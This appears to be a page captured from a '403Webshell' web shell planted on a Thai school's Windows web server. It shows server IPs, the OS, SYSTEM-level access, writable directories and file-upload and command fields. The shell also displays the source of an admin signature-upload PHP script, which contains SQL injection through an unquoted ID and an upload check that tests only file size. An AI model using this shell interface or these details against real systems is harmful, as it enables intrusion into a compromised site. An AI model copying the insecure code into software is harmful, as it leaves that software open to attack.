403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/bangphae/modules/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/bangphae/modules/admin/signaturekuru.php
<?
CheckAdmin($_SESSION['admin_user'], $_SESSION['admin_pwd']);
?>
<?php
include 'includes/connect.php';
?>
<? if($update == '1' ){
//==========================================================================================
//======================================================== BEGIN ===== UPLOAD 1 ============
//==========================================================================================

	if (is_uploaded_file($_FILES['filesw']['tmp_name'])) { 
	$filesw_name = substr ($filesw, -4);
			
	
	$filesw_name=$idedit;
#ตรวจสอบชนิดของไฟล์
$sizefile = $_FILES["filesw"]["size"]; 
if($sizefile>20248) {echo "<script language='javascript'>" ;
				echo "alert('กรุณาใช้รูปภาพ 30  kb ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
}

			
			move_uploaded_file($_FILES['filesw']['tmp_name'],"laysen/" . $filesw_name.".jpeg" );	
	}
//==========================================================================================
//======================================================== END ======= UPLOAD 1 ============
//==========================================================================================
	
} ?>

      <table align="right"cellspacing="0" cellpadding="0" width="1000" border="0">
        <tbody>
          <tr>
            <td width="20"><img id="b1_r1_c1" height="15" alt="" 
                  src="images/main/b1_r1_c1.gif" width="20" border="0" /></td>
            <td background="images/main/b1_top_bg.gif"><img id="b1_r1_c3" 
                  height="15" alt="" src="images/main/b1_top_bg.gif" width="10" 
                  border="0" /></td>
            <td width="19"><img id="b1_r1_c4" height="15" alt="" 
                  src="images/main/b1_r1_c4.gif" width="19" 
              border="0" /></td>
          </tr>
        </tbody>
      </table>
	  <table cellspacing="0" cellpadding="0" width="700" border="0">
        <tbody>
          <tr>
            <td width="10" background="images/main/b1_r2_c1.gif" 
                  height="100%"><img id="b1_r2_c1" height="10" alt="" 
                  src="images/main/b1_r2_c1.gif" width="10" border="0" /></td>
            <td valign="top" width="100%" background="images/main/b1_ct_bg.gif" 
                height="100%"><div align="center">
                <table cellspacing="0" cellpadding="0" width="98%" border="0">
                  <tbody>
                    <tr>
                      <td><table width="100%">
                          <tr>
                            <td><img src="images/menu/textmenu_admin.gif" border="0" /><br />
                              <table width="100%" align="center" cellspacing="0" cellpadding="0" border="0">
                                <tr>
                                  <td height="1" class="dotline"></td>
                                </tr>
                                <tr>
                                  <td><br />
                                      <b><img src="images/icon/plus.gif" border="0" align="absmiddle" /> <a href="?name=admin&amp;file=main">หน้าหลักผู้ดูแลระบบ</a> &nbsp;&nbsp;<img src="images/icon/arrow_wap.gif" border="0" align="absmiddle" /><a href="?name=admin&file=user_r">กลับหน้าจัดการลายเซ็นรอง(รักษาการ)</a> </b> <br />
                                    <br>
                                      <!-- แสดงผลรายการ -->

<form name="form3" method="post" action="?name=admin&file=signaturekuru">
  <div align="left"><br>
  </div>
  <table width="342"  border="0" align="center" cellpadding="0" cellspacing="0">

    <tr class="unnamed1">
      <td width="11" class="unnamed2"><img src="images/admin/search.jpg" alt="s" width="19" height="18"></td>
      <td width="70" class="unnamed2"><div align="left"><strong>ระบุเงื่อนไข</strong></div></td>
      <td width="151"><label>
      </label>
      <input name="search" type="text" id="search"></td>
      <td width="110">
        <div align="left">
          <input type="submit" name="Submit2" value="ค้นหา">
        </div></td>
    </tr>
  </table>

  <br>
  <div align="left"></div>
</form>
<table width="100%"  border="0" cellspacing="0" cellpadding="1">
  <tr>
    <td bgcolor="#c2e1fd" class=" unnamed1">&nbsp;</td>
  </tr>
</table>
<? if($showedit != '') { ?>
<br>
  <form name="form2" method="post" action="?name=admin&file=signaturekuru" enctype="multipart/form-data">
  <div align="left"><br>
    <table width="706"  border="0" align="center" cellpadding="0" cellspacing="0">
      
      <tr class="unnamed1">
        
		

<?
	
	$sql="select * from web_user where id=$showedit ";
	//echo"$sql";
	$dbquery = mysql_db_query($dbname, $sql);
	
		$result = mysql_fetch_array($dbquery);
		
	
?>

			<td class="unnamed2"><div align="right">
				แก้ไขลายเซ็นต์ ของ <b><? echo"$result[category_name]"; ?></b>&nbsp;
				
			</div></td>

			<td class="unnamed2"><div align="center">
				
				<input name="filesw" type="file" id="filesw" size="20" >&nbsp;&nbsp;
				<input name="idedit" type="hidden" id="idedit" value="<? echo"$result[id]"; ?>">
				<input name="update" type="hidden" id="update" value="1">
			</div></td>
			
        
        <td><div align="center">
            <input type="submit" name="Submit" value="  บันทึกการแก้ไข    ">
        </div></td>
        <td><label>
          <input type="button" name="Button" id="button" value="ยกเลิก"  onClick="DoCancel()">
        </label></td>
      </tr>

    </table>
    <br>
</form>
  <? } ?>
<br>

                                      
                                      <br />
                                    <br />
                                  </td>
                                </tr>
                              </table>
                            <br /></td>
                          </tr>
                      </table></td>
                    </tr>
                  </tbody>
                </table>
            </div></td>
            <td width="10" background="images/main/b1_r2_c5.gif" 
                  height="100%"><img id="b1_r2_c5" height="10" alt="" 
                  src="images/main/b1_r2_c5.gif" width="10" 
              border="0" /></td>
          </tr>
        </tbody>
      </table>
	  <table cellspacing="0" cellpadding="0" width="700" border="0">
        <tbody>
          <tr>
            <td width="20"><img id="b1_r4_c1" height="15" alt="" 
                  src="images/main/b1_r4_c1.gif" width="20" border="0" /></td>
            <td background="images/main/b1_foot_bg.gif"><img id="b1_r4_c3" 
                  height="15" alt="" src="images/main/b1_foot_bg.gif" width="10" 
                  border="0" /></td>
            <td width="19"><img id="b1_r4_c4" height="15" alt="" 
                  src="images/main/b1_r4_c4.gif" width="19" 
              border="0" /></td>
          </tr>
        </tbody>
      </table>
</div>
<script language="javascript">


function DoSearch()
{
	var id=document.form3.search.value;
			
				 location.href("?name=admin&file=signature2&search="+id);
			
}
function DoCancel()
{
	
				 location.href("?name=admin&file=signature2");
			
}

</script>

Youez - 2016 - github.com/yon3zu
LinuXploit